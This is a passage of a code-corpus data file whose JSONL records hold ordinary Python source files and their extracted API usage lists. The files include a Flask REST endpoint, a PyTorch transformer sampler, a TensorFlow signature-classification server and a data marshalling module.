"usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_FIELDS", "line_number": 127, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.BalanceSheet", "line_number": 129, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.CashFlowsStatement", "line_number": 129, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.IncomeStatement", "line_number": 129, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.TTM", "line_number": 129, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.MainData", "line_number": 129, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_TABLES.index", "line_number": 130, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_TABLES", "line_number": 130, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_FIELDS", "line_number": 131, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.BalanceSheet", "line_number": 140, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.CashFlowsStatement", "line_number": 141, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.IncomeStatement", "line_number": 142, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.TTM", "line_number": 143, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.MainData", "line_number": 144, "usage_type": "name"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 137, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 138, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 238, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_list_of_string", "line_number": 244, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_BASIC_FIELDS", "line_number": 253, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_BASIC_FIELDS", "line_number": 255, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_BASIC_FIELDS", "line_number": 259, "usage_type": "name"}, {"api_name": "rqdatac.client.get_client", "line_number": 274, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 291, "usage_type": "attribute"}, {"api_name": "functools.reduce", "line_number": 298, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 299, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 219, "usage_type": "name"}, {"api_name": "rqdatac.validators.ensure_list_of_string", "line_number": 336, "usage_type": "call"}, {"api_name": "rqdatac.validators.check_items_in_container", "line_number": 337, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.pit_financials_ex.FIELDS_LIST_EX", "line_number": 337, "usage_type": "argument"}, {"api_name": "rqdatac.validators.check_quarter", "line_number": 342, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_int", "line_number": 343, "usage_type": "call"}, {"api_name": "rqdatac.validators.quarter_string_to_date", "line_number": 343, "usage_type": "call"}, {"api_name": "rqdatac.validators.check_quarter", "line_number": 345, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_int", "line_number": 346, "usage_type": "call"}, {"api_name": "rqdatac.validators.quarter_string_to_date", "line_number": 346, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_or_today_int", "line_number": 353, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_list_of_string", "line_number": 355, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 360, "usage_type": "call"}, {"api_name": "rqdatac.client.get_client", "line_number": 361, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 368, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 320, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 389, "usage_type": "call"}, {"api_name": "rqdatac.share.errors.MarketNotSupportError", "line_number": 392, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.query.Query", "line_number": 394, "usage_type": "argument"}, {"api_name": "rqdatac.validators.raise_for_no_panel", "line_number": 397, "usage_type": "call"}, {"api_name": "rqdatac.utils.to_datetime", "line_number": 398, "usage_type": "call"}, {"api_name": "rqdatac.services.calendar.get_previous_trading_date", "line_number": 420, "usage_type": "call"}, {"api_name": "rqdatac.services.calendar.get_previous_trading_date", "line_number": 425, "usage_type": "call"}, {"api_name": "rqdatac.client.get_client", "line_number": 430, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 433, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 441, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 448, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 462, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 465, "usage_type": "attribute"}, {"api_name": "rqdatac.utils.int8_to_date", "line_number": 468, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 470, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 473, "usage_type": "attribute"}, {"api_name": "pandas.to_datetime", "line_number": 478, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 480, "usage_type": "call"}, {"api_name": "pandas.Panel", "line_number": 482, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 375, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 491, "usage_type": "call"}, {"api_name": "rqdatac.client.get_client", "line_number": 491, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 488, "usage_type": "name"}, {"api_name": "rqdatac.validators.ensure_order_book_id", "line_number": 515, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_int", "line_number": 518, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_int", "line_number": 536, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 536, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_int", "line_number": 538, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 538, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 538, "usage_type": "attribute"}, {"api_name": "rqdatac.validators.ensure_string", "line_number": 539, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_list_of_string", "line_number": 558, "usage_type": "call"}, {"api_name": "rqdatac.validators.check_items_in_container", "line_number": 559, "usage_type": "call"}, {"api_name": "rqdatac.client.get_client", "line_number": 563, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 568, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 500, "usage_type": "name"}, {"api_name": "rqdatac.validators.ensure_order_book_ids", "line_number": 609, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_int", "line_number": 611, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_int", "line_number": 613, "usage_type": "call"}, {"api_name": "rqdatac.validators.ensure_date_int", "line_number": 615, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 615, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 615, "usage_type": "attribute"}, {"api_name": "rqdatac.validators.ensure_list_of_string", "line_number": 618, "usage_type": "call"}, {"api_name": "rqdatac.validators.check_items_in_container", "line_number": 619, "usage_type": "call"}, {"api_name": "rqdatac.client.get_client", "line_number": 623, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 629, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 632, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 597, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 699, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 700, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 701, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 702, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.stockcode", "line_number": 709, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 709, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.announce_date", "line_number": 710, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 710, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.income_statement_sql.StkIncomeGen", "line_number": 711, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.balance_sheet_sql.StkBalaGen", "line_number": 712, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.cash_flow_sql.StkCashGen", "line_number": 713, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.cash_flow_sql.StkCashGen", "line_number": 714, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.financial_indicator_sql.AnaStkFinIdx", "line_number": 715, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.eod_derivative_indicator_sql.AnaStkValIdx", "line_number": 716, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 717, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.ttm_sql.CashFlowStatementTTM", "line_number": 718, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.ttm_sql.IncomeStatementTTM", "line_number": 719, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.ttm_sql.FinancialIndicatorTTM", "line_number": 720, "usage_type": "name"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 706, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 707, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.declarative.DeclarativeMeta", "line_number": 733, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.attributes.InstrumentedAttribute", "line_number": 741, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.query.Query", "line_number": 752, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 723, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql.dialect", "line_number": 756, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql", "line_number": 756, "usage_type": "name"}, {"api_name": "pymysql.converters.escape_item", "line_number": 761, "usage_type": "call"}, {"api_name": "pymysql.converters.conversions", "line_number": 761, "usage_type": "argument"}, {"api_name": "pymysql.converters.encoders", "line_number": 761, "usage_type": "argument"}, {"api_name": "warnings.warn", "line_number": 769, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 782, "usage_type": "argument"}, {"api_name": "sqlalchemy.sql.elements.UnaryExpression", "line_number": 784, "usage_type": "argument"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.tradedate.in_", "line_number": 791, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.tradedate", "line_number": 791, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 791, "usage_type": "name"}, {"api_name": "rqdatac.utils.to_date_int", "line_number": 791, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.tradedate.desc", "line_number": 794, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.tradedate", "line_number": 794, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 794, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.query.Query", "line_number": 799, "usage_type": "argument"}, {"api_name": "itertools.islice", "line_number": 857, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.end_date.in_", "line_number": 869, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.end_date", "line_number": 869, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 869, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.end_date.desc", "line_number": 872, "usage_type": "call"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.end_date", "line_number": 872, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 872, "usage_type": "name"}, {"api_name": "rqdatac.utils.is_panel_removed", "line_number": 886, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 892, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 895, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 903, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 906, "usage_type": "call"}, {"api_name": "pandas.Panel", "line_number": 909, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 919, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 923, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 930, "usage_type": "attribute"}, {"api_name": "rqdatac.validators.raise_for_no_panel", "line_number": 953, "usage_type": "call"}]}
{"seq_id": "11631473497", "text": "from typing import Tuple\nfrom html import escape\n\n\nclass TextAnnotation:\n    \"\"\"\n    It can be a CopyrightAnnotation, CourtAnnotation and so on...\n\n    Example:\n        cp = CopyrightAnnotation(name='Siemens', coords=(0, 100), text='text text')\n        cp.company = 'Siemens'\n        cp.year_start = 1996\n        s1 = cp.get_cite()  # '/copyright/Siemens/1996'\n\n        cp.year_end = 2019\n        cp.locale = 'en'\n        s2 = cp.get_cite()  # '/en/copyright/Siemens/1996/2019'\n    \"\"\"\n    def __init__(self,\n                 record_type: str,\n                 name: str,\n                 locale: str,\n                 coords: Tuple[int, int],\n                 text: str = ''):\n        self.record_type = record_type\n        self.coords = coords\n        self.name = name\n        self.text = text\n        self.locale = locale\n\n    def __repr__(self):\n        s = \"%s [%s] at (%d..%d)\" % (self.name, self.record_type, self.coords[0], self.coords[1])\n        if self.locale:\n            s += \", loc: %s\" % self.locale\n        return s\n\n    def get_cite(self) -> str:\n        path = [escape(p) for p in [self.locale, self.record_type] if p]\n        val = self.get_cite_value_encoded()\n        if val:\n            path.append(val)\n        return \"/\" + \"/\".join(path)\n\n    def get_cite_value_encoded(self) -> str:\n        # should be overriden in derived classes\n        return self.name\n\n    def get_extracted_text(self, full_text: str):\n        # could be overriden\n        return full_text[self.coords[0]: self.coords[1]]\n\n    def to_dictionary(self) -> dict:\n        # should be overriden\n        return {}\n", "repo_name": "limc/project", "sub_path": "pip/venv/lib/python3.6/site-packages/lexnlp/extract/common/annotations/text_annotation.py", "file_name": "text_annotation.py", "file_ext": "py", "file_size_in_byte": 1605, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Tuple", "line_number": 23, "usage_type": "name"}, {"api_name": "html.escape", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "36478780052", "text": "import torch\nimport torch.nn.functional as F\nfrom .sampler import Sampler\nfrom .transformer import Transformer\nimport numpy as np\nimport math\n\n\nclass AutoregressiveTransformer(Sampler):\n    def __init__(self, H, embedding_weight):\n        super().__init__(H, embedding_weight)\n        self.net = Transformer(H)\n        self.n_samples = H.batch_size\n        self.seq_len = np.prod(H.latent_shape)\n\n    def train_iter(self, x):\n        x_in = x[:, :-1]  # x is already flattened\n        logits = self.net(x_in)\n        loss = F.cross_entropy(logits.permute(0, 2, 1), x, reduction='none')\n        loss = loss.sum(1).mean() / (math.log(2) * x.shape[1:].numel())\n        stats = {'loss': loss}\n        return stats\n\n    def sample(self, temp=1.0):\n        b, device = self.n_samples, 'cuda'\n        x = torch.zeros(b, 0).long().to(device)\n        for _ in range(self.seq_len):\n            logits = self.net(x)[:, -1]\n            probs = F.softmax(logits / temp, dim=-1)\n            ix = torch.multinomial(probs, num_samples=1)\n            x = torch.cat((x, ix), dim=1)\n        return x\n", "repo_name": "samb-t/unleashing-transformers", "sub_path": "models/autoregressive.py", "file_name": "autoregressive.py", "file_ext": "py", "file_size_in_byte": 1081, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 168, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sampler.Sampler", "line_number": 9, "usage_type": "name"}, {"api_name": "transformer.Transformer", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 19, "usage_type": "name"}, {"api_name": "math.log", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.multinomial", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "24068459675", "text": "# -*- coding: utf-8 -*-\nimport json\nimport logging\nfrom flask import (\n    Blueprint,\n    request,\n)\nfrom app.authentication import auth_require\nfrom app import db\nfrom app.models import Tecnico\nfrom app.schema import tecnico_schema, tecnicos_schema\nfrom .rest_util import PaginateRequest\n\napi = Blueprint('rest_tecnico', __name__)\n\n@api.route('/count', methods = ['get'])\n@auth_require()\ndef count():\n    page = PaginateRequest(request, Tecnico, tecnico_schema, tecnicos_schema)\n    _nome = request.args.get('nome', '')\n    filtro = Tecnico.nome.like('%'+_nome+'%')\n    return page.query_count(filtro)\n\n@api.route('/', methods = ['get'])\n@auth_require()\ndef list():\n    page = PaginateRequest(request, Tecnico, tecnico_schema, tecnicos_schema)\n    _nome = request.args.get('nome', '')\n    filtro = Tecnico.nome.like('%'+_nome+'%')\n    return page.query_fetch( filtro )\n\n\n@api.route('/<pk>', methods = ['get'])\n@auth_require()\ndef get(pk):\n    page = PaginateRequest(request, Tecnico, tecnico_schema, tecnicos_schema)\n    data = page.query_one(pk)\n    if data:\n        return data\n    return page.response({\"message\": \"Registro não encontrado\"}, 404)\n\n@api.route('/<pk>', methods = ['delete'])\n@auth_require()\ndef delete(pk):\n    page = PaginateRequest(request, Tecnico, tecnico_schema, tecnicos_schema)\n    return page.delete_one(pk, db)\n\n\n@api.route('/', defaults={'pk':None}, methods = ['post'])\n@api.route('/<pk>', methods = ['post'])\n@auth_require()\ndef post(pk):\n    page = PaginateRequest(request, Tecnico, tecnico_schema, tecnicos_schema)\n    return page.post(pk, db)", "repo_name": "nenodias/millenium", "sub_path": "app/controller/tecnico_rest.py", "file_name": "tecnico_rest.py", "file_ext": "py", "file_size_in_byte": 1576, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Blueprint", "line_number": 14, "usage_type": "call"}, {"api_name": "rest_util.PaginateRequest", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "argument"}, {"api_name": "app.models.Tecnico", "line_number": 19, "usage_type": "argument"}, {"api_name": "app.schema.tecnico_schema", "line_number": 19, "usage_type": "argument"}, {"api_name": "app.schema.tecnicos_schema", "line_number": 19, "usage_type": "argument"}, {"api_name": "flask.request.args.get", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "app.models.Tecnico.nome.like", "line_number": 21, "usage_type": "call"}, {"api_name": "app.models.Tecnico.nome", "line_number": 21, "usage_type": "attribute"}, {"api_name": "app.models.Tecnico", "line_number": 21, "usage_type": "name"}, {"api_name": "app.authentication.auth_require", "line_number": 17, "usage_type": "call"}, {"api_name": "rest_util.PaginateRequest", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "argument"}, {"api_name": "app.models.Tecnico", "line_number": 27, "usage_type": "argument"}, {"api_name": "app.schema.tecnico_schema", "line_number": 27, "usage_type": "argument"}, {"api_name": "app.schema.tecnicos_schema", "line_number": 27, "usage_type": "argument"}, {"api_name": "flask.request.args.get", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "app.models.Tecnico.nome.like", "line_number": 29, "usage_type": "call"}, {"api_name": "app.models.Tecnico.nome", "line_number": 29, "usage_type": "attribute"}, {"api_name": "app.models.Tecnico", "line_number": 29, "usage_type": "name"}, {"api_name": "app.authentication.auth_require", "line_number": 25, "usage_type": "call"}, {"api_name": "rest_util.PaginateRequest", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "argument"}, {"api_name": "app.models.Tecnico", "line_number": 36, "usage_type": "argument"}, {"api_name": "app.schema.tecnico_schema", "line_number": 36, "usage_type": "argument"}, {"api_name": "app.schema.tecnicos_schema", "line_number": 36, "usage_type": "argument"}, {"api_name": "app.authentication.auth_require", "line_number": 34, "usage_type": "call"}, {"api_name": "rest_util.PaginateRequest", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 45, "usage_type": "argument"}, {"api_name": "app.models.Tecnico", "line_number": 45, "usage_type": "argument"}, {"api_name": "app.schema.tecnico_schema", "line_number": 45, "usage_type": "argument"}, {"api_name": "app.schema.tecnicos_schema", "line_number": 45, "usage_type": "argument"}, {"api_name": "app.db", "line_number": 46, "usage_type": "argument"}, {"api_name": "app.authentication.auth_require", "line_number": 43, "usage_type": "call"}, {"api_name": "rest_util.PaginateRequest", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "argument"}, {"api_name": "app.models.Tecnico", "line_number": 53, "usage_type": "argument"}, {"api_name": "app.schema.tecnico_schema", "line_number": 53, "usage_type": "argument"}, {"api_name": "app.schema.tecnicos_schema", "line_number": 53, "usage_type": "argument"}, {"api_name": "app.db", "line_number": 54, "usage_type": "argument"}, {"api_name": "app.authentication.auth_require", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "14631937064", "text": "from models import db, User, Startup\nfrom flask import Flask\n\napp = Flask('app')\n\n# configurar la base de datos SQLite\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///database.sqlite3\"\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n# Inicializar la base de datos\ndb.init_app(app)\n\n# Crear base de datoos\nwith app.app_context():\n    db.create_all()", "repo_name": "rodrvn/Tutorial-DB-Modular-Basico", "sub_path": "init_db.py", "file_name": "init_db.py", "file_ext": "py", "file_size_in_byte": 357, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "models.db.init_app", "line_number": 11, "usage_type": "call"}, {"api_name": "models.db", "line_number": 11, "usage_type": "name"}, {"api_name": "models.db.create_all", "line_number": 15, "usage_type": "call"}, {"api_name": "models.db", "line_number": 15, "usage_type": "name"}]}
{"seq_id": "29946255018", "text": "directory = './files/'\nimport os\nimport base64\nimport re\n\ntry:\n    import http.server as server\nexcept ImportError:\n    import SimpleHTTPServer as server\n\n# MODEL\nimport cv2\nimport numpy as np\nfrom random import shuffle\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport tflearn\nfrom tflearn.layers.conv import conv_2d, max_pool_2d\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.estimator import regression\n\nTRAIN_DIR = 'C:/Users/User/Desktop/Desktop/SIGNATURE_v2.0/data/train'\nTEST_DIR = './files'\nIMG_SIZE = 100\nLR = 9e-6\n\nMODEL_NAME = 'signatures-{}-{}.model'.format(LR, '2conv')\n\n# -------------------------\ntf.reset_default_graph()\nconvnet = input_data(shape=[None, IMG_SIZE, IMG_SIZE, 1], name='input')\n\nconvnet = conv_2d(convnet, 32, 3, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 64, 3, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 128, 3, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 64, 3, activation='relu')\nconvnet = max_pool_2d(convnet, 5)\n\nconvnet = conv_2d(convnet, 32, 3, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = fully_connected(convnet, 1024, activation='relu')\nconvnet = dropout(convnet, 0.8)\n\nconvnet = fully_connected(convnet, 2, activation='softmax')\nconvnet = regression(convnet, optimizer='adam', learning_rate=LR, loss='categorical_crossentropy', name='targets')\n\nmodel = tflearn.DNN(convnet)\n# ------------------------\nif os.path.exists('{}.meta'.format(MODEL_NAME)):\n        model.load(MODEL_NAME)\n        print('model loaded')\n# ========================\nclass HTTPRequestHandler(server.SimpleHTTPRequestHandler):\n    def do_POST(self):\n        i = 1\n        filename = directory + f'{i}.png'\n        while True:\n            if (os.path.exists(filename) == False):\n                break\n            else:\n                i = i + 1\n                filename = directory + f'{i}.png'\n        file_length = int(self.headers['Content-Length'])\n        image_b64 = self.rfile.read(file_length)\n        imgdata = re.sub('^data:image/.+;base64,', '', image_b64.decode())\n        imgdata = base64.b64decode(imgdata)\n        with open(filename, 'wb') as f:\n            f.write(imgdata)\n\n        path = filename\n        image = cv2.imread(path, cv2.IMREAD_GRAYSCALE)\n        img = cv2.resize(image, (IMG_SIZE, IMG_SIZE))\n        img = img.reshape(IMG_SIZE, IMG_SIZE, 1)\n        model_out = model.predict([img])[0]\n        print('Result:')\n        print(model_out)\n        if np.argmax(model_out) == 1: str_label = 'Sergeev'\n        else: str_label = 'Ivanov'\n            \n        # ====\n\n        self.send_response(200)\n        self.send_header('Access-Control-Allow-Origin', '*')\n        self.send_header('Content-Type', 'application/json')\n        self.end_headers()\n        reply_body = '{\"status\" : \"' + str_label + '\"}\\n'\n        self.wfile.write(reply_body.encode('utf-8'))\n        return\n\nif __name__ == '__main__':\n    server.test(HandlerClass=HTTPRequestHandler)\n", "repo_name": "artempazych/Signature-Recognition", "sub_path": "signatures_v3.0/server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 3095, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tensorflow.reset_default_graph", "line_number": 31, "usage_type": "call"}, {"api_name": "tflearn.layers.core.input_data", "line_number": 32, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.conv_2d", "line_number": 34, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.max_pool_2d", "line_number": 35, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.conv_2d", "line_number": 37, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.max_pool_2d", "line_number": 38, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.conv_2d", "line_number": 40, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.max_pool_2d", "line_number": 41, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.conv_2d", "line_number": 43, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.max_pool_2d", "line_number": 44, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.conv_2d", "line_number": 46, "usage_type": "call"}, {"api_name": "tflearn.layers.conv.max_pool_2d", "line_number": 47, "usage_type": "call"}, {"api_name": "tflearn.layers.core.fully_connected", "line_number": 49, "usage_type": "call"}, {"api_name": "tflearn.layers.core.dropout", "line_number": 50, "usage_type": "call"}, {"api_name": "tflearn.layers.core.fully_connected", "line_number": 52, "usage_type": "call"}, {"api_name": "tflearn.layers.estimator.regression", "line_number": 53, "usage_type": "call"}, {"api_name": "tflearn.DNN", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "SimpleHTTPServer.SimpleHTTPRequestHandler", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 73, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 79, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 85, "usage_type": "call"}, {"api_name": "SimpleHTTPServer.test", "line_number": 99, "usage_type": "call"}]}
{"seq_id": "18692795953", "text": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections import abc\nfrom dataclasses import dataclass, is_dataclass\nfrom datetime import date, datetime, timezone\nimport sys\nimport types\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    NamedTuple,\n    Optional,\n    Sequence,\n    Tuple,\n    Type,\n    Union,\n    get_args,\n    get_origin,\n    get_type_hints,\n)\n\nimport pytz\n\nfrom .common import (\n    AbstractMarshall,\n    Json,\n    T,\n)\nfrom ..utils import TypeNotSupported, is_namedtuple\n\n\nclass CachewMarshall(AbstractMarshall[T]):\n    def __init__(self, Type_: Type[T]) -> None:\n        self.schema = build_schema(Type_)\n\n    def dump(self, obj: T) -> Json:\n        return self.schema.dump(obj)\n\n    def load(self, dct: Json) -> T:\n        return self.schema.load(dct)\n\n\n# TODO add generic types later?\n\n\n# NOTE: using slots gives a small speedup (maybe 5%?)\n# I suppose faster access to fields or something..\n\nSLOTS: Dict[str, bool]\nif sys.version_info[:2] >= (3, 10):\n    SLOTS = dict(slots=True)\nelse:\n    # not available :(\n    SLOTS = 